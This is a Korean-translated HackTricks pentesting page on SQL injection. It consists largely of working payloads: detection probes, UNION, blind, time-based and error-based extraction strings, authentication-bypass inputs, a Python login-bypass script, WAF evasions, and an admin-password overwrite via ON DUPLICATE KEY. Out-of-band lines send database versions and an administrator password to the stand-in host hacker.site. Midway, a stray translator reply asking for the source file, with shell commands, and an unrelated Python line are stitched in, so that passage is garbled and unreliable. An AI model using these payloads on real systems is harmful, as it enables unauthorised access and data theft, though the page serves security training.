SQL Injection
Reading time: 20 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SQL injection이란?
An SQL injection은 애플리케이션의 데이터베이스 쿼리에 공격자가 개입할 수 있게 하는 보안 취약점입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터(다른 사용자 정보나 애플리케이션이 접근할 수 있는 모든 데이터 포함)를 view, modify, delete할 수 있게 할 수 있습니다. 이러한 행위는 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나, 심지어 서버 침해 혹은 denial of service로 이어질 수 있습니다.
진입점 탐지
사이트가 SQL injection (SQLi) 관련 입력에 대해 비정상적인 서버 응답을 보이며 **vulnerable to SQL injection (SQLi)**처럼 보일 때, first step은 쿼리를 망가뜨리지 않고 어떻게 inject data into the query without disrupting it할지 이해하는 것입니다. 이를 위해 현재 컨텍스트에서 효과적으로 escape from the current context할 방법을 식별해야 합니다. 다음은 몇 가지 유용한 예시입니다:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
그런 다음, 어떻게 query를 수정하여 errors가 발생하지 않게 하는지 알아야 합니다. query를 수정하기 위해서는 input 데이터를 넣어 previous query가 새 데이터를 받아들이도록 하거나, 단순히 input한 데이터 뒤에 comment symbol을 추가하면 됩니다.
참고: query가 작동할 때와 작동하지 않을 때의 차이를 발견하거나 error messages를 볼 수 있다면 이 단계가 더 쉬워집니다.
Comments
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
논리 연산으로 확인하기
신뢰할 수 있는 SQL injection 취약점 확인 방법 중 하나는 논리 연산을 수행하고 예상되는 결과를 관찰하는 것입니다. 예를 들어, ?username=Peter
같은 GET parameter가 ?username=Peter' or '1'='1
로 수정했을 때 동일한 콘텐츠를 반환하면 SQL injection 취약점이 있는 것입니다.
마찬가지로, 수학적 연산의 적용도 효과적인 확인 기법입니다. 예를 들어 ?id=1
과 ?id=2-1
에 접근했을 때 같은 결과가 나온다면 SQL injection임을 시사합니다.
논리 연산 확인 예시:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
이 단어 목록은 제안된 방식으로 SQLinjections을 확인하기 위해 만들어졌습니다:
True SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```타이밍으로 확인하기
어떤 경우에는 테스트 중인 페이지에서 아무런 변화도 보이지 않을 수 있습니다. 따라서 DB가 작업을 수행하도록 해 페이지 로드에 영향을 주게 하는 것은 blind SQL injections을 발견하는 좋은 방법입니다.\
따라서 우리는 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 연산을 concat하여 추가할 것입니다:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
어떤 경우에는 sleep 함수가 허용되지 않을 수 있습니다. 그런 함수를 사용하는 대신 쿼리가 몇 초가 걸리는 복잡한 연산을 수행하도록 만들 수 있습니다. 이러한 기법들의 예시는 각 기술별로(있는 경우)에 별도로 설명됩니다.
백엔드 식별
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해 보는 것입니다. 이전 섹션의 sleep 함수를 사용하거나 다음 것들을 사용할 수 있습니다 (표 출처: payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
또한, query의 출력에 접근할 수 있다면 데이터베이스의 버전 출력을 하게 만들 수 있습니다.
tip
계속해서 다양한 종류의 SQL Injection을 악용하는 여러 방법을 논의합니다. 예시로 MySQL을 사용합니다.
Identifying with PortSwigger
SQL injection cheat sheet | Web Security Academy
Union Based 악용
컬럼 수 확인
If you can see the output of the query this is the best way to exploit it.
먼저, 초기 요청이 반환하는 컬럼 수를 알아내야 합니다. 이는 두 쿼리 모두 동일한 컬럼 수를 반환해야 하기 때문입니다.
이를 위해 일반적으로 두 가지 방법이 사용됩니다:
Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
쿼리가 올바를 때까지 null 값을 점점 더 많이 SELECT 하세요:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
일부 경우 쿼리의 양쪽 컬럼 타입이 동일해야 하므로 모든 경우에 유효한 null
값을 사용해야 합니다.
데이터베이스 이름, 테이블 이름 및 컬럼 이름 추출
다음 예제들에서는 모든 데이터베이스 이름, 특정 데이터베이스의 테이블 이름, 그리고 테이블의 컬럼 이름을 가져옵니다:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
데이터베이스마다 이 데이터를 발견하는 방법은 다르지만, 기본적인 방법론은 항상 동일합니다.
Exploiting Hidden Union Based
query의 출력이 보이지만 union-based injection이 불가능해 보인다면, 이는 hidden union-based injection이 존재함을 의미합니다. 이 상황은 종종 blind injection 상황으로 이어집니다. blind injection을 union-based injection으로 전환하려면, 백엔드에서 실행되는 query를 파악해야 합니다.
이는 blind injection 기법과 대상 DBMS에 특화된 기본 테이블들을 함께 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하려면 대상 DBMS의 문서를 참고하는 것이 좋습니다.
query를 추출한 후에는 원래 query를 안전하게 닫을 수 있도록 payload를 조정해야 합니다. 그 다음 payload에 union query를 추가하면 새로 열린 union-based injection을 악용할 수 있습니다.
더 자세한 내용은 전체 글 Healing Blind Injections를 참조하세요.
Exploiting Error based
어떤 이유로 cannot see the output of the query 하지만 see the error messages는 볼 수 있다면, 이 error messages를 이용해 데이터베이스에서 데이터를 ex-filtrate할 수 있습니다.
Union Based exploitation과 유사한 흐름을 따라가면 DB를 dump할 수 있습니다.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi 악용
이 경우 query의 결과나 에러는 볼 수 없지만, 페이지의 내용이 달라지기 때문에 query가 true 또는 false 응답을 return할 때를 구분할 수 있습니다.
이 경우 이러한 동작을 악용하여 database를 문자 단위로 dump할 수 있습니다:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
이것은 이전과 같은 경우이지만, 쿼리의 true/false 응답을 구별하는 대신 구별하여 쿼리에서 오류가 발생하는지 여부(아마도 HTTP 서버가 크래시하기 때문일 수 있습니다)를 판단할 수 있습니다. 따라서, 이 경우에는 문자를 올바르게 추측할 때마다 SQLerror를 강제로 발생시킬 수 있습니다:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Time Based SQLi 악용
이 경우 페이지의 컨텍스트만으로는 쿼리의 응답을 구분할 방법이 없습니다. 하지만 추측한 문자가 맞으면 페이지의 로드 시간이 더 길어지도록 만들 수 있습니다. 우리는 이미 confirm a SQLi vuln을 확인하기 위해 이 기술이 사용되는 것을 본 적이 있습니다.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
stacked queries를 사용하면 여러 쿼리를 연속으로 실행할 수 있습니다. 후속 쿼리들이 실행되더라도, 결과는 애플리케이션으로 반환되지 않습니다. 따라서 이 기법은 주로 blind vulnerabilities와 관련되어 유용하며, 두 번째 쿼리를 통해 DNS 조회, 조건부 오류 또는 시간 지연을 유발할 수 있습니다.
Oracle는 stacked queries를 지원하지 않습니다. MySQL, Microsoft 및 PostgreSQL는 이를 지원합니다: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
만약 다른 exploitation 방법이 작동하지 않았다면, 데이터베이스가 당신이 제어하는 external host로 정보를 database ex-filtrate하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE를 통한 Out of band data exfiltration
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
SQLi 취약점을 exploit하기 위해 SQLMap Cheatsheet와 sqlmap를 확인하세요.
Tech specific info
우리는 이미 SQL Injection 취약점을 exploit하는 모든 방법을 논의했습니다. 이 책에서 데이터베이스 기술별로 더 많은 트릭을 찾아보세요:
또는 MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL에 관한 많은 트릭을 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 찾을 수 있습니다.
Authentication bypass
로그인 기능을 우회하기 위해 시도할 목록:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
이 쿼리는 MD5가 authentication checks에서 raw output을 위해 true로 사용될 때 발생하는 취약점을 보여주며, 시스템을 SQL injection에 취약하게 만듭니다. 공격자들은 해시되었을 때 예상치 못한 SQL 명령 부분을 생성하도록 입력을 조작하여 이를 악용할 수 있으며, 그 결과 무단 접근이 발생할 수 있습니다.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
추천 목록:
목록의 각 줄을 username으로 사용하고 password는 항상: Pass1234.
(This payloads are also included in the big list mentioned at the beginning of this section)
GBK Authentication Bypass
만약 '가 escape 처리된다면 %A8%27을 사용할 수 있으며, '가 escape 처리되었을 때 생성되는 것은: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python 스크립트:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modify password of existing object/user
이를 위해서는 무언가를 수정하여 "master object"로 이름이 지정된 새로운 object를 생성해 보아야 합니다(사용자라면 아마 admin일 가능성이 큽니다):
- Create user named: AdMIn (대문자 및 소문자 혼합)
- Create a user named: admin=
- SQL Truncation Attack (username 또는 email에 **길이 제한(length limit)**이 있는 경우) --> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
데이터베이스가 취약하고 username의 최대 문자 수가 예를 들어 30자이고 사용자인 admin을 가장하려면, "admin [30 spaces] a"라는 사용자명을 만들고 아무 비밀번호나 설정해 보세요.
데이터베이스는 입력된 username이 데이터베이스 내에 존재하는지를 확인합니다. 만약 존재하지 않으면, 데이터베이스는 username을 허용된 최대 길이로 잘라냅니다(이 경우 "admin [25 spaces]"로) 그리고 마지막에 있는 모든 공백을 자동으로 제거하여 데이터베이스 내의 사용자 "admin"을 새 비밀번호로 업데이트합니다(오류가 발생할 수 있지만 이것이 동작하지 않았다는 것을 의미하지는 않습니다).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
VALUES 문을 빠져나오기 위해 필요한 만큼 ','',''
를 추가하세요. delay가 실행되면 SQLInjection이 존재합니다.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL의 ON DUPLICATE KEY UPDATE
절은 UNIQUE index 또는 PRIMARY KEY에 중복 값이 발생하는 행을 삽입하려 할 때 데이터베이스가 취할 동작을 지정하는 데 사용됩니다. 다음 예시는 이 기능을 이용해 관리자 계정의 비밀번호를 변경하는 방법을 보여줍니다:
Example Payload Injection:
다음과 같이 injection payload를 구성할 수 있습니다. 두 행을 users
테이블에 삽입하려 시도하며, 첫 번째 행은 미끼이고 두 번째 행은 기존 관리자 계정의 이메일을 대상으로 비밀번호를 업데이트하려는 목적입니다:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Here's how it works:
- 이 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는
generic_user@example.com
용이고 다른 하나는admin_generic@example.com
용입니다. admin_generic@example.com
에 대한 행이 이미 존재하면,ON DUPLICATE KEY UPDATE
절이 실행되어 MySQL에 기존 행의password
필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.- 결과적으로
admin_generic@example.com
과 bcrypt 해시와 일치하는 비밀번호를 사용하여 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 교체해야 합니다).
정보 추출
동시에 2개의 계정 생성하기
새 사용자 생성 시 username, password, email이 필요합니다:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
십진수 또는 16진수 사용
이 기법을 사용하면 계정 1개만 생성해도 정보를 추출할 수 있습니다. 중요한 점은 아무 것도 주석 처리할 필요가 없다는 것입니다.
다음은 hex2dec와 substr 사용:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
원문 파일 내용을 제공해 주세요. 로컬에서 파일을 가져오려면 아래 명령어 중 하나를 사용하세요:
cat src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
bat --paging=never src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
gh repo clone <repo> && cat src/pentesting-web/sql-injection/README.md
파일이 너무 크면 번역할 섹션(헤더 포함)만 붙여넣어 주세요. 붙여주시면 한국어로 번역해 드립니다.
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex와 replace (및 substr) 사용:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection은 injectable query가 직접 결과를 반환하는 쿼리가 아니라, injectable query의 출력이 결과를 반환하는 다른 쿼리로 전달되는 상황을 말한다. (From Paper)
예시:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - 공백 대체를 이용한 우회
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - 주석을 사용한 우회
?id=1/*comment*/and/**/1=1/**/--
공백 없음 - 괄호를 사용한 우회
?id=(1)and(1)=(1)--
콤마 없음 bypass
No Comma - bypass: OFFSET, FROM 및 JOIN 사용
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
일반적인 Bypasses
Blacklist는 keywords를 사용함 — bypass는 uppercase/lowercase로 우회
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
키워드를 대소문자 구분 없이 블랙리스트 처리 — 동등 연산자 사용으로 우회
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
이 트릭에 대한 보다 자세한 설명은 gosecure blog.
기본적으로 지수 표기법을 예상치 못한 방식으로 사용하여 WAF를 우회할 수 있습니다:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
컬럼 이름 제한 우회
먼저, 원래 쿼리와 flag를 추출하려는 테이블의 컬럼 수가 동일하다면 다음과 같이 할 수 있다는 점에 유의하라: 0 UNION SELECT * FROM flag
이름을 사용하지 않고 테이블의 세 번째 컬럼에 접근하는 것이 다음 쿼리처럼 가능하다: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, 따라서 sqlinjection에서는 다음과 같이 보일 것이다:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
또는 comma bypass를 사용:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져왔습니다
Column/tablename injection in SELECT list via subqueries
사용자 입력이 SELECT 목록이나 테이블/컬럼 식별자에 그대로 연결(concatenate)된다면, prepared statements는 도움이 되지 않습니다. bind parameters는 식별자가 아니라 값만 보호하기 때문입니다. 흔히 취약한 패턴은 다음과 같습니다:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
악용 아이디어: 필드 위치(field position)에 subquery를 주입(inject)하여 임의의 데이터를 exfiltrate합니다:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
참고:
- 이것은 WHERE clause가 bound parameter를 사용할 때에도 작동합니다. 왜냐하면 identifier list는 여전히 string-concatenated 되기 때문입니다.
- 일부 스택은 추가로 table name을 제어할 수 있게 허용하여 (tablename injection), cross-table reads를 가능하게 합니다.
- Output sinks는 선택된 값을 HTML/JSON으로 반영할 수 있어 응답에서 직접 XSS 또는 token exfiltration을 허용할 수 있습니다.
완화:
- 사용자 입력으로부터 identifiers를 절대 concatenate하지 마세요. 허용된 column names를 고정된 allow-list에 매핑하고 identifiers를 적절히 quote하세요.
- dynamic table access가 필요할 경우, 유한한 집합으로 제한하고 server-side에서 안전한 매핑으로 해결하세요.
WAF 우회 제안 도구
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
기타 가이드
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force 탐지 목록
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
참고자료
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.